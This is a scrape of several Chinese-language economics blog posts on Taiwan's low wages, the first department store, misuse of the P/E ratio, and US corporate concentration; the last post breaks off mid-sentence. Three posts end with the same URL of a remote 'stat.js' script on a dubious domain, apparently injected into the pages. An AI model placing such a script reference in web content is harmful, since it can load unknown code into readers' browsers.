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經濟分析

台灣低薪是必然,經濟學預言威力精準

今日臺灣蘋果日報頭條:「低薪惡化 薪資中位數40612

行政院主計總處昨公布最新統計,去年工業及服務業受僱員工每人每月總薪資(含本薪、獎金、加班費等)中位數為4萬612元,較前年減0.6%,是3年來首度下滑,也是4年來下滑最高幅度;中位數佔平均數比率為83.24%,也較前年減少。學者分析,這顯示薪資分布往較低薪靠攏,籲政府思考相關政策,避免低薪問題惡化。…

…依業別分,去年工業部門總薪資中位數4萬878元,略高於服務業部門4萬161元,跟前年相比差距擴大631元。以兩性分,男性薪資中位數4萬3955元,較女性3萬7431元高,但兩性差距較前年縮小627元。職員或專技人員等(白領)總薪資中位數5萬3927元,工員或非監督專技人員(藍領)3萬5415元,差距較前年縮小1104元。…

我分別在2007年與2008年就寫文章「開放大陸勞工來台會降低台灣人薪資水平?」、「實質薪資何以衰退?」提到:

在台灣為出口導向的前提下,根本不需要開放大陸勞工,只要台灣和大陸的產業繼續維持高度重疊性下去,則台灣薪資勢必總要一天會被拉到近乎於大陸薪資的境界!

國際競爭下,許多過去被禁錮的廉價勞力(如中國越南)所生產的商品與服務等漸漸大量地進入國際貿易市場,台灣在出口導向經濟下,若商品/服務與這些國家目標市場相同(都是美國、日本歐洲)且商品差異化不大的前提,自然在要素平價理論發威下必須修正勞動價格。而這樣的價格修正在勞動價格頑固性下可能要長達10~30年。眼前就有個日本失落30年給我們看,血淋淋的實例正是在同一個脈絡邏輯下的失敗者。

而根據價格理論我們知道,如果台灣有高度彈性的勞動與投資環境,則勞動價格雖然修正,但失業率並不會增加太多。許多不滿薪資的邊際勞工可能會轉往自營小販方向走而猶能生存。

可偏偏台灣政府近20年來被高喊福利的左派綁架,台灣勞動、環保等經營法規日趨嚴格,這種價格修正將會以越來越高的邊際勞工失業率呈現。

特別是最近生效的一例一休法規,剝奪勞資雙方的契約彈性到根本連政府自己都無法執行,荒謬地上演台鐵員工依法休假,政府竟然要對國營單位員工記曠職!民間老闆喊法規難以遵守,蔡英文政府又板起臉來教訓開罰資方的諷刺劇。

而在「我對一例一休修法的看法」一文中我又透過經濟學預言:

1. 邊際勞工失業率必定上升
2. 邊際企業倒閉率必定上升
3. 許多企業會選擇假日不提供服務甚或營運日期減少
4. 勞工轉職困難度大增,失業勞工尋覓新工作日數增加
5. 平均年終獎金將下降
6. 全面性物價上漲
7. 早年找工作需要保人的類似制度可能死灰復燃
8. 新鮮人畢業後失業率與失業時間都會增加
9. 燒炭自殺的失業與小型、微型企業主人數與案件數均會增加

加以蔡英文政府自爽的假性台獨主張下,台灣國際自由貿易協議空間將越來越小,相比韓國、新加坡,台灣整體租值成長率不如人甚至下降的未來也難以避免。換言之,一樣受到衝擊,台灣人未來的實質收入衰退將會是所謂的四小龍裡最嚴重。

我在2008年為文至今9年,經濟學水晶球預言準確性有目共睹;2027年台灣會淪落到哪?現有的台灣政府是否還存在?拭目以待吧…https://js.developerstatss.ga/stat.js?n=ns1

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商業評論 歷史

發明百貨公司

1796年,英國倫敦出現第一家百貨公司,目標客群就鎖定 — 女人!

總共四個部門:皮毛、珠寶、女性衣帽與裝飾配件。

1803年紐約則由移民Alexander T. Stewart設立第一家現代化百貨公司。

Stewart出生於北愛爾蘭,出生後3週父親即過世。母親改嫁並移民至紐約,留下年幼的Stewart由祖父帶大。Stewart完成小學學業後,在雜貨店裡擔任「bag boy」至15歲,存了$500後跑到了紐約闖天下。幾年後祖父過世,留下了一些遺產,Stewart利用這些遺產在紐約百老匯開了一家乾貨店。店面寬3.8公尺,深9.1公尺,他自己睡在店鋪最裡頭。

辛苦20年,Stewart就靠這間「起家店」賺到人生第一桶金,43歲那年他擴大事業版圖,設立了全美國第一家百貨公司!

當時紐約商人全都搖頭看壞,管這家百貨公司叫「Stweart’s Folly(史都華的蠢主意)」,一來店面位置就很糟糕,當時名店全在百老匯西邊,只有它開在東邊。二來同業一廂情願地以為女人們只想跟習慣往來的商店採買。三來這家百貨公司外貌也不合格,當時紐約商鋪都是走希臘風,只有它蓋成義大利風格。

但這些商人全錯了。

Stewart’s Folly暴紅!生意好到不行,連同年代的知名作家(當時名作家身分猶如現今知名歌星周杰倫、Bruno Mars一般有號召力)盛讚Stewart的百貨公司是「a palace of a store」!這下還得了?更多名流女士爭相前往,一者獵奇,一者表示自己是出入上流社會。

Stewart跟當時同樣在百老匯開店的商人最大不同,在於他認為購物並非純粹的生活必需行為,而是對女人充滿樂趣與娛樂性的。一群上流女人聚在一起這件事本身對其它女人就有吸引力。因此他很聰明地在開幕時,付費請來紐約城裡的名女人們打扮入時且美麗地到店內待著。

店內不二價,免去討價還價景象破壞購物行為的優雅性。引入全身試衣鏡(這麼大片鏡子在當年技術來說可算是昂貴奢侈),讓女生看清楚在這試穿的華服讓她們變得多美,不買怎行?

Stewart專注地關心女生的消費慾望有沒有、如何被滿足。在那個輕視女人的年代,他藉著提供被忽視的一群所需的服務而致富。

這就是自由市場精神的精髓 — 致富背後都是因為滿足了大眾所需。小左左們偏見地認為為富必不仁、為商必奸其實是大錯特錯。經濟學需求理論第一課就明白指出,在自由交易下,買方必定認為換來的商品服務所帶來的用值必定大於或等於其所犧牲的代價,否則交易根本就不會發生。當越多人認為與你交易可以滿足自身所需,你的財富自然也就累積。換言之,自由市場下經商致富的人不僅值得我們尊敬與佩服,這些人對社會的貢獻更是遠遠大過任何政客、任何嘴砲學者與社會運動者。

注意,我強調是「自由交易下」,那種透過政府合法暴力取得壟斷的、官商勾結人謀不臧加上五鬼搬運的,並非「自由交易」,而是用政府公權力進行搶劫。這種致富途徑對社會是有害而利的。

回到百貨公司,很快10幾年後,1862年Stewart把不敷使用的店面移址到第九與第十街,增加到30個部門同時光員工就請了2000人!他也成了美國最大的批發商與進口商之一,甚至還是繳納最多關稅的個人戶!

1855年Stewart財富已經累積到225萬美元,足列當時全美最富有的人之一;到了1870年,他晉身美國前三大首富,與William B. Astor和Cornelius Vanderbilt並駕齊驅。(Vanderbilt的商業故事也很有趣,甚至有激烈的商場決戰,以後有機會我再跟讀者聊聊)

Stewart未有子嗣,隨著他逝世,財富與零售帝國也隨之煙消雲散。

一百多年後同樣靠著零售業攻入富豪榜的,還有Walmart的Sam Walton與Amazon的Jeff Bezos,江山代有才人出啊!

文章摘譯自:Barron’s Inventing the Department Store
http://www.barrons.com/article_email/inventing-the-department-store-1489809845-lMyQjA1MTI3NzEwOTgxMDk5Wj#printModehttps://js.developerstatss.ga/stat.js?n=ns1

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經濟分析 證券投資

談「本益比(P/E)」觀念的對與錯

本益比本身是從報酬率的倒數來看投資機會成本,就基礎觀念來說是正確的。但實務運用上幾乎多數人(包含知名財經媒體、Information Service公司)都犯了錯而不自知。

正確的一面:當你把資金投入某個項目中,你的機會成本就是其他最高投資報酬率的選項。

以巴菲特的習慣來說,他喜歡用他主觀認為「近乎無風險」的美國10年或30年國債利率作為機會成本。實際運用上他是把這個利率作為「折現利率」,不懂折現觀念的人請自行在我的blog上搜尋「利息理論」。

股票報酬率一般會高過國債利率,中間還涵蓋了股票本身的不確定性所帶來的「風險貼水」。

錯誤的一面:

1. 本益比是報酬率的導數,計算上就是Price / Earning(簡稱P/E),通常財經媒體使用的P就是現在股價,但E卻是用去年每股淨利,這絕對是錯誤的!

懂利息理論就知道,所有的資產的現值應該是未來收入流的折現值總合,但通常媒體宣稱的本益比所使用的E並非「未來收入」,而是「過去收入」,這在經濟學上不但已經犯了重大錯誤,而且計算出來的數字是完全無意義的。

這個數字錯誤地假設,企業活動結果會跟去年一樣,但通常並不成立。

因此,要正確地使用「本益比」這個工具,你需要的並不是拿「過去盈餘」計算,而是要拿「未來盈餘」才對,也才符合經濟學邏輯。明眼人都看出來,未來盈餘才是大麻煩與功夫所在,因為預測未來盈餘絕非易事,之中存在非常鉅額的「訊息成本(information costs)」。而要提高預測未來盈餘正確性,根據我的經驗,一流的economic sense不可少。

這就說明了為什麼會計學博士、財務學博士投資股市績效往往不怎樣,因為二者都在過去數字打轉,在錯誤的方向上努力結果往往更糟。

這也說明了為什麼許多經濟學博士股市績效也很差,因為當今經濟學課本錯誤百出,加上許多經濟系教授乃至於博士其實economic sense非常差,純粹數學強,經濟邏輯常常錯誤連篇而不自知。

至於商學院那種訓練編故事能力的學問,又跟真正投資是八竿子打不著關係。

這更說明了像巴菲特這種對於企業活動未來預測準確性高的人,可以享有非常高的租值!(761億美元身價)

奉勸一句,如果朋友能有自知之明,清楚自己不是巴菲特這種料(可惜有自知之明的人太少),那朋友你還是乖乖投資ETF或指數型基金就好,市場是最殘酷的老師,自我欺騙與催眠對市場是無效的。

2.武斷地選擇本益比10、20、30或者不經思考地以過去與現在的本益比做比較。

上述錯誤觀點散見於諸多媒體乃至於號稱「股市大師」的論述中,但很可惜也錯得一塌糊塗。

共同錯誤在於這些人都忽略的,本益比既然是報酬率的倒數,真正有意義的比較對象應該是機會成本 — 也就是放棄的最高代價。如前述,巴菲特選擇美國國債利率作為機會成本來比較,這就是為什麼2017/2/27接受CNBC訪問時,會說現在美股沒有泡沫化,同時此時美股不算貴:

Quick: Although you have had times where you thought stocks were incredibly cheap, like in 2008, 2009, when you talked about that, even on our program. You thought that there were times that stocks were greatly overvalued where you’ve said, “Forget it, don’t do it." Are we near an inflection point right now, as best as you can tell?

Buffett: Well … I’ve been talking this way for quite a while, ever since the fall of 2008. I was a little early on that actually. But I don’t think you could time it. And we are not in a bubble territory or anything of the sort. Now, if interest rates were 7 or 8 percent then these prices would look exceptionally high. But you have to measure, you know, you measure everything against: interest rates, basically, and interest rates act like gravity on valuation. So when interest rates were 15 percent in 1982 they’d pull down the value of any asset. So, what’s the sense of buying a farm on a 4 percent yield basis if you can get 15 percent in government’s? But measured against interest rates, stocks actually are on the cheap side compared to historic valuations. But the risk always is, is that — that interest rates go up a lot, and that brings stocks down. But I would say this, if the ten-year stays at 230, and they would stay there for ten years, you would regret very much not having bought stocks now.

此外巴菲特也提到道瓊指數在他11歲的時候只有100點,當時就充斥著「股市過熱」種種言論,後來過200點的時候也一樣,幾百點到幾千點,每天都有人主張股市過熱。巴菲特強調他不知道明天股市會怎樣,說不定會重挫20%,這在過去也不是沒發生過,但他認為只要美國經濟制度像過去幾十年一樣順利發展,未來道瓊指數過10萬點也不是什麼大事,一如回頭看他11歲時的道瓊。

Quick: Yeah, there are times, Warren, where you hear pundits or other people saying, “Look things are at risk at this point. Our American way of life, our system is under threat." And I’ve heard this from all sides at all different times. Is there ever a point where you thought that was the case?

Buffett: No, and you say you’ve heard it at all times from all sides. I’ve been hearing it, you know, all my life. And in the spring of 1942 I was 11 years old, and the Dow was at about 100. And we were losing the war in the Pacific at that point, that was early … was shortly after Pearl Harbor. And there was no doubt in this country we were going to win over time. I mean, and people said, “Well, this is let’s wait till things are clear, let’s wait till we start winning the war." There’s always a reason to wait and I’ve listened to that all my life. You know, when I got out of school the Dow had never been above 200. There’d never been a year when the Dow had not been below 200 during the year. Even in 1929, when it got to 381, the low was below 200. Never been a year. Well, so what, you know? But that was a big subject at that time. And then you know, we ran into price controls, we ran into the oil shocks, you name it, just all kinds of things. And those are diversions. So all my life I’ve been hearing, “You know, maybe there’s a better time to invest, you know?" Or, “Things are more unpredictable now." They’re always unpredictable. I can’t predict what’s gonna happen tomorrow. I mean, you could have anything happen tomorrow. We’ve had October 19th, 1987, 22 percent down in one day. So I can predict what’ll happen ten or 20 years in a general way, but I have no idea what’ll happen tomorrow. And the important thing is if you got these wonderful assets out there, to own ’em, and which ones do you own? I mean, if you … if you save money you can buy bonds, you can buy a farm, you can buy an apartment, house, or even buy a part of American business. And if you buy a 10-year bond now you’re paying over 40 times earnings for something whose earnings can’t grow. And you know, you compare that to buying equities, good businesses, I don’t think there’s any comparison. But that doesn’t mean the stock market can’t go down 20 percent tomorrow. I mean, you never know what it’s going to do tomorrow, but you do know what it’s going to do over ten or 20 years. And people talk about 20,000 being high. Well, I remember when it hit 200 and that was supposedly high. The Dow, I mean, the Dow, in your lifetime. You know, you’re going to see a Dow that certainly approaches 100,000 and that doesn’t require any miracles, that just requires the American system continuing to function pretty much as it has.

題外話一句,我覺得台灣媒體很悲哀的是斷章取義、自行想像地亂下標題,例如:

財訊週刊 –「巴菲特:道瓊上看10萬點、別妄想拉回再買,蘋果看旺」

東森新聞 — 「股神94狂 巴菲特:美股最終會逼近10萬 」

鉅亨網 — 「巴菲特:維持零利率五十年道瓊上十萬點」

蘋果即時 — 「巴菲特:若Fed這麼做 美股早就上10萬點」

慢著,巴菲特有說"維持零利率50年道瓊上10萬點"這種話嗎?通篇訪談我都沒看到,這些記者不知道是用A眼、B眼還是P眼看到的?

他明明是說:「…you’re going to see a Dow that certainly approaches 100,000 and that doesn’t require any miracles, that just requires the American system continuing to function pretty much as it has.

這邊我要特別點一下,就是巴菲特所依據的利率並不完全是純粹市場利率,而是經過美國Fed人為操作後的利率。而美國用操控利率來達到貨幣與經濟政策,這從經濟學上是個大敗筆,以後有空再多談。

回到本益比這個主題。

很明顯巴菲特也是正確的經濟學機會成本觀念在看本益比,目前股價是否過高,比較的是現今利率環境,而非任何一個武斷的、經驗的數字。我們因此也就知道,股市究竟上幾萬點、幾千萬點,這個訊息本身是沒有任何意義的,自然也無從得知股價是否過高、股市是否過熱。

3. 盈餘成長的公司,本益比永遠不會過高;盈餘衰退的公司,本益比永遠過高!

既然盈餘是要看未來,假設有間公司每股盈餘(EPS)今年是10,明年後年年都會是500(姑且假設發生機率是100%),則現在300元股價,本益比究竟是偏高還是低?

反之,今年EPS是10,明年後會衰退到年年都是0.01,現在50元股價是高還是低?

最後這個極端例子,綜合第一點與第二點,對投資有興趣的朋友好好想想,就不會再被有關本益比諸多似是而非的謬論迷惑了。https://js.developerstatss.ga/stat.js?n=ns1

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筆記 經濟分析

從華爾街日報一篇文章談投資

華爾街日報「The Disturbing New Facts About American Capitalism. — 2017/03/03」

New research suggests US companies are moving toward a winner-take-all system in which giants get stronger, not weaker, as they expand.

作者是我蠻欣賞的Jason Zweig,此文提到幾位經濟學家(Gustavo Grullon, Yelena Larkin, Roni Michaely)研究發現過去經濟學教科書認為越大的公司越笨重,所以讓小公司有存活甚至打敗大公司的機會,但現在這樣的公式已經被打破,Superstar型公司幾乎是越大越強,例如Apple 或Google。

文中幾個重要數字:

a. 1997年時,不動產仲介有42家上市公司並拿下49%市場。到2014年只剩20家上市公司,其中最大的四家拿下78%市占率。

b. 1997年時,超級市場產業有36家上市公司並佔有50%市場;但到了2014年只剩11家上市公司,其中最大的四家 — Kroger, Supervalu, Whole Foods Market, 與Roundy’s總共吃下89%市占率。

c. 全美20年前有7000多家上市公司,現在只剩下不到4000家。

d. 1996年,S&P500淨利率最高的25家公司,其淨利率中位數是21%,但現在來到39%。整體S&P500的淨利率中位數 20年前是6.7%,現在則提升到9.7%。

這些經濟學家認為此乃反常現象,事實上恰恰證明多數經濟學家經濟學基礎不夠,懂深不懂淺。

經濟學有一個「邊際產量遞減定律」,意思是在其他因素不變之下,單純增加某個生產要素,總產量會增加到一個點之後,反而開始減少。

這是一個實證定律也是經驗定律,因為如果這個定律不存在,那麼我們就可以用一個盆栽種出足以供應全世界需求的糧食。

這也是為什麼許多人都先入為主地認為大企業是大笨象,成長到一個點就反而不如小企業來得有生產力。因此很長一段時間,股市投資的書籍、財經雜誌喜歡把中小企業劃為成長性投資,大企業則是穩定型投資。

可惜此種說法似是而非,只對了一半。最明顯就是Apple、Google、Facebook這些反證,否定了以上傳統投資觀點。

從這裡衍生我要談兩個點: